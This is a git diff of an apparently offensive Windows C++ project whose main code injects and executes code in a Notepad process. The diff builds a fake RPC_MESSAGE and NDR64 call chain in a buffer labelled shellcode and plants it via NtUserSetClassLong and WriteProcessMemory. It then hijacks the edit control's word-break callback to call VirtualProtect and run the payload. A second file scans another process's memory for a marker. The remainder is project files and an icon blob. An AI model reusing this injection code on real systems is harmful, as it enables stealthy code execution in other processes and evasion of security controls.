(PRPC_MESSAGE)((uint64_t)TheNotepadTagClsAddress + 0x8); + // +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4 + + /* + fnInitRpcMessageHandle((void*)((uint64_t)TheTagClsAddress), + (void*)((uint64_t)TheNotepadTagClsAddress), + (void*)theNdrServerCallAllAddress); + */ + + // const auto local_rpc_Message_handle22 = (void*)((uint64_t)localrpcMessage + // + sizeof(RPC_MESSAGE)); + // 现在再填一次local_rpc_Message_handle + // fnInitRpcMessageHandle((void*)localrpcMessage->Handle, + // (void*)remoterpcMessage, (void*)theVirtualProtectAddr); + // +0指向自己 +8的地方 + // *(uint64_t*)((uint64_t)TheTagClsAddress + 0x0) = + // (uint64_t)localrpcMessage; + + /* + char tempBuffer[8]; + memcpy(tempBuffer, &remoterpcMessage, 8); + for (size_t i = 0; i < 8; i++) + { + NtUserSetClassLong(hwndMessage, i, tempBuffer[i], FALSE); + } + */ + const auto allocShellcodeSize = 2048; + char* tmpShellcode = (char*)malloc(allocShellcodeSize); + memset(tmpShellcode, 0, allocShellcodeSize); + char* editShellcode = (char*)malloc(allocShellcodeSize); + memset(editShellcode, 0, allocShellcodeSize); + // I_RpcFreePipeBuffer(Message) + + // Message = EditControlPtr + // Message->Handle = Shellcode + // *Message->Handle = Shellcode + *(ULONG_PTR*)tmpShellcode = (ULONG_PTR)TheNotepadTagClsAddress; + + // *Message->Handle + 0x80 = NdrServerCallAll + *(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress; + +#define REMOTE_CLS_ADDRESS(x) \ + ((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \ + (ULONG_PTR)TheNotepadTagClsAddress) + + // NdrServerCallAll(pRpcMsg) + // pRpcMsg = Shellcode + RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode; + RPC_SERVER_INTERFACE* RpcInterfaceInfo0 = + (RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88); + MIDL_SERVER_INFO* RpcSrvInfo0 = + (MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE)); + PVOID* DispatchTable0 = + (PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO)); + MIDL_SYNTAX_INFO* SyntaxInfo0 = + (MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID)); + MIDL_STUB_DESC* StubDesc0 = + (MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2); + ULONG_PTR* FmtStrOffset0 = + (ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC)); + NDR64_PROC_FORMAT* ProcStr0 = + (NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 + + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + + sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR)); + + //_NDR_PROC_CONTEXT Ndr+Proc + DispatchTable0[0] = (PVOID)theNdrServerCallAllAddress; + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0); + + FmtStrOffset0[0] = (ULONG_PTR)REMOTE_CLS_ADDRESS(ProcStr0); + (SyntaxInfo0 + 1)->FmtStringOffset = + (USHORT*)REMOTE_CLS_ADDRESS(FmtStrOffset0); + RpcSrvInfo0->pSyntaxInfo = + (MIDL_SYNTAX_INFO*)REMOTE_CLS_ADDRESS(SyntaxInfo0); + RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_CLS_ADDRESS(StubDesc0); + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0); + // RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337; + RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA; + + + RpcInterfaceInfo0->InterpreterInfo = + (MIDL_SERVER_INFO*)REMOTE_CLS_ADDRESS(RpcSrvInfo0); + RpcMsg0->RpcInterfaceInformation = + (RPC_SERVER_INTERFACE*)REMOTE_CLS_ADDRESS(RpcInterfaceInfo0); + RpcMsg0->ProcNum = 0; + RpcMsg0->RpcFlags = 0x1000; + + // rpcmsg0->Handle的handle已经在上面设置为TheNotepadTagClsAddress了.所以要在TheNotepadTagClsAddress + // + 0x100的位置设置virtualprotect + *(ULONG_PTR*)(tmpShellcode + 0x100) = + (ULONG_PTR)VirtualProtect; // 为了通过Ndr64pServerUnMarshal最后的那一段 + //*(ULONG_PTR*)(tmpShellcode + 0x160) = (ULONG_PTR)tempVar; + ////为了通过Ndr64pServerUnMarshal最后的那一段 + + + auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) + + sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT); + // auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset); + //*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr; + // calcOffset += sizeof(ULONG_PTR); + + /* + * https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152 + if ( pParamFlags->IsIn || + (pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) || + pParamFlags->IsPipe ) + continue; + */ + std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress; + // type的指针,这个type会读两次 **typeaddr + auto fnSetNdr64Param = [&]() { + static auto currentCopyCount = 0; + auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset); + ndr64Param->Attributes.IsIn = true; + ndr64Param->Attributes.IsBasetype = true; + // auto typeAddress = tmpShellcode + calcOffset; + // theParamTypeAddress.push_back(typeAddress); + // ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + ndr64Param->StackOffset = currentCopyCount * 4; + currentCopyCount += 1; + // 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值 + // https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43 + //*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + // calcOffset += sizeof(_NDR64_PARAM_FORMAT); + theParamTypeAddress.push_back(ndr64Param); + calcOffset += sizeof(_NDR64_PARAM_FORMAT); + }; + + const auto virtualProtectParamSize = 8 * 2; + for (size_t i = 0; i < virtualProtectParamSize / 4; i++) { + fnSetNdr64Param(); + } + auto paramsBuffer = tmpShellcode + calcOffset; + // 设置参数 + RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer); + RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数 + calcOffset += RpcMsg0->BufferLength; + + // Make HandleType to 0 + ProcStr0->Flags = 1; + ProcStr0->StackSize = virtualProtectParamSize; + ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4; + + + // const auto shellcodeAddress = tmpShellcode + calcOffset; + // memcpy(shellcodeAddress, payload, sizeof(payload)); + // calcOffset += sizeof(payload); + + // typedef LONG(NTAPI* FnNtUserMessageCall)(HWND hWnd, UINT msg, WPARAM + // wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); + // FnNtUserMessageCall NtUserMessageCall = + // (FnNtUserMessageCall)GetProcAddress(LoadLibrary(L"win32u.dll"), + // "NtUserMessageCall"); + // + // 执行payload + // 1.给回调设置参数为我们的payload + // SendMessageA才生效,不知道为什么,否则会报60 + auto result1 = + SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)&TheNotepadTagClsAddress); + // auto result1 = NtUserMessageCall(hwndEdit, WM_SETTEXT, 0, + // (LPARAM)&TheNotepadTagClsAddress, 0, 0x2B1, 1); + // 等完全输入完毕 + WaitForInputIdle(pi.hProcess, INFINITE); + result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0); + + // ***这里有个限制 除非我是英文系统 否则会被格式为Utf-8导致不能用** + // 我直接writememory让那个地方看起来像是英文系统 + auto emh = (PVOID)SendMessage(hwndEdit, EM_GETHANDLE, 0, 0); + PVOID embuf; + SIZE_T numOfWrite; + ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite); + WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8, + &numOfWrite); + //WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload, + // sizeof(payload), &numOfWrite); + const auto shellcodeAddress = (uint64_t)embuf + 8; + const auto virtualProtectReturnValue = shellcodeAddress; + const auto editShellcodeLocation = shellcodeAddress + sizeof(uint64_t); + + auto tempCover = (uint64_t)editShellcodeLocation; + memcpy(paramsBuffer, &tempCover, 8); + buildVirtualProtectShellCode(editShellcode, + editShellcodeLocation, + theNdrServerCallAllAddress, + editShellcodeLocation, + virtualProtectReturnValue); + + WriteProcessMemory(pi.hProcess, (char*)((uint64_t)editShellcodeLocation), editShellcode, + allocShellcodeSize, &numOfWrite); + + // 这个地方是readonly的,如果直接传给virtualprotect会失败.所以也得放在编辑框里面 + /* + auto oldProtectAddress = (uint64_t)REMOTE_CLS_ADDRESS(tmpShellcode + + calcOffset); tempCover = (uint64_t)tmpShellcode + calcOffset; + memcpy(paramsBuffer + 8 + 8 + 8, &oldProtectAddress, 8); + calcOffset += sizeof(uint64_t); + *(uint64_t*)tempCover = (uint64_t)REMOTE_CLS_ADDRESS((uint64_t)(tmpShellcode + + calcOffset)); calcOffset += sizeof(uint64_t); + */ + + for (auto ndr64Param : theParamTypeAddress) { + auto typeAddress = tmpShellcode + calcOffset; + ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + calcOffset += sizeof(void*); + + *(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + calcOffset += sizeof(char); + } + for (size_t i = 0; i < allocShellcodeSize; i++) { + NtUserSetClassLong(hwndMessage, i, tmpShellcode[i], FALSE); + } + + // 2.设置I_RpcFreePipeBuffer为回调地址 + // bp rpcrt4!I_RpcFreePipeBuffer + result1 = PostMessageA(hwndEdit, EM_SETWORDBREAKPROC, 0, + (LPARAM)theI_RpcFreePipeBufferAddr); + + // 3. 激活 + result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0); + // 4. cleanup + SendMessage(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL); + + // SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)INJPATH); + // SendMessageW(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)embuf.p); + return 0; +} + +int main() { wWinMain(0, 0, 0, 0); } diff --git a/shit.h b/shit.h new file mode 100644 index 0000000..b798bf5 --- /dev/null +++ b/shit.h @@ -0,0 +1,3 @@ +#pragma once + +#include "resource.h" diff --git a/shit.ico b/shit.ico new file mode 100644 index 0000000000000000000000000000000000000000..b3ec03bd617f32e58128fa977fd6ac9605124f4b GIT binary patch literal 46227 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 literal 0 HcmV?d00001 diff --git a/shit.sln b/shit.sln new file mode 100644 index 0000000..1ba808b --- /dev/null +++ b/shit.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32802.440 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "shit", "shit.vcxproj", "{75C28BC1-B226-487A-9DAA-3E6C03894943}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x64.ActiveCfg = Debug|x64 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x64.Build.0 = Debug|x64 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x86.ActiveCfg = Debug|Win32 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x86.Build.0 = Debug|Win32 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x64.ActiveCfg = Release|x64 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x64.Build.0 = Release|x64 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x86.ActiveCfg = Release|Win32 + {75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {6175F5C8-522A-4C38-91B0-5B3462BF20F1} + EndGlobalSection +EndGlobal diff --git a/shit.vcxproj b/shit.vcxproj new file mode 100644 index 0000000..783b40d --- /dev/null +++ b/shit.vcxproj @@ -0,0 +1,163 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {75c28bc1-b226-487a-9daa-3e6c03894943} + shit + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + true + + + Windows + true + true + true + + + + + Level3 + true + _DEBUG;_WINDOWS;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + true + + + Windows + true + true + true + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/shit.vcxproj.filters b/shit.vcxproj.filters new file mode 100644 index 0000000..123a1b2 --- /dev/null +++ b/shit.vcxproj.filters @@ -0,0 +1,58 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 源文件 + + + 源文件 + + + + + 源文件 + + + 源文件 + + + + + 资源文件 + + + + + 资源文件 + + + 资源文件 + + + \ No newline at end of file diff --git a/shit_2.cpp b/shit_2.cpp new file mode 100644 index 0000000..a1f93da --- /dev/null +++ b/shit_2.cpp @@ -0,0 +1,777 @@ +// shit.cpp : 定义应用程序的入口点。 +// + +#include "framework.h" +#include "shit.h" +#include +#include +#include "teb_def.h" +#include "rpc.h" +PVOID +SundaySearch_ByProcess(HANDLE ProcesHandle, char* pattern, PVOID address, + SIZE_T readSize); + +PVOID +LookupTagClsAddressByProcess(HANDLE ProcessHandle) { +#ifdef _WIN64 +#define START_ADDRESS (PVOID)0x00000000010000 +#define END_ADDRESS (0x00007FF8F2580000 - 0x00000000010000) +#else +#define START_ADDRESS (PVOID)0x10000 +#define END_ADDRESS (0x7FFF0000 - 0x10000) +#endif + typedef LONG(NTAPI * FnZwQueryVirtualMemory)(HANDLE, PVOID, int, PVOID, + SIZE_T, PSIZE_T); + static FnZwQueryVirtualMemory ZwQueryVirtualMemory = + (FnZwQueryVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), + "ZwQueryVirtualMemory"); + if (!ZwQueryVirtualMemory) { + std::cerr << "ZwQueryVirtualMemory GetProcAddress failed: " + << GetLastError() << std::endl; + return 0; + } + MEMORY_BASIC_INFORMATION MemoryBasicInfo = {0}; + PVOID CurrentAddress = START_ADDRESS; + uint64_t TheTagClsAddress = 0; + SIZE_T BytesReturned = 0; + + while (true) { + BOOLEAN ContinueEnum = FALSE; + + RtlZeroMemory(&MemoryBasicInfo, sizeof(MemoryBasicInfo)); + + auto ntStatus = ZwQueryVirtualMemory( + ProcessHandle, CurrentAddress, 0, &MemoryBasicInfo, + sizeof(MEMORY_BASIC_INFORMATION), &BytesReturned); + + if (ntStatus != 0) break; + + do { + if (MemoryBasicInfo.State != MEM_COMMIT) { + break; + } + if (MemoryBasicInfo.Type != MEM_PRIVATE && + MemoryBasicInfo.Type != MEM_MAPPED) { + break; + } + + // 自己的是PAGE_READWRITE 别人的是PAGE_READONLY + if (MemoryBasicInfo.Protect != PAGE_READONLY) { + break; + } + + TheTagClsAddress = (uint64_t)SundaySearch_ByProcess( + ProcessHandle, (char*)"13 37 CC A0 A0 68 75 6F 6A 69", + (UCHAR*)CurrentAddress, MemoryBasicInfo.RegionSize); + if (TheTagClsAddress != NULL) { + break; + } + + } while (FALSE); + if (TheTagClsAddress != 0) { + break; + } + CurrentAddress = (PVOID)((ULONG_PTR)MemoryBasicInfo.BaseAddress + + MemoryBasicInfo.RegionSize); + } + return (PVOID)TheTagClsAddress; +} + +void printHex(const char* name, const void* data, size_t size) { + printf("%s: ", name); + const unsigned char* byteData = (const unsigned char*)data; + for (size_t i = 0; i < size; ++i) { + printf("%02X ", byteData[i]); + } + printf("\n"); +} + +struct _NDR64_PARAM_FLAGS { + unsigned __int16 MustSize : 1; + unsigned __int16 MustFree : 1; + unsigned __int16 IsPipe : 1; + unsigned __int16 IsIn : 1; + unsigned __int16 IsOut : 1; + unsigned __int16 IsReturn : 1; + unsigned __int16 IsBasetype : 1; + unsigned __int16 IsByValue : 1; + unsigned __int16 IsSimpleRef : 1; + 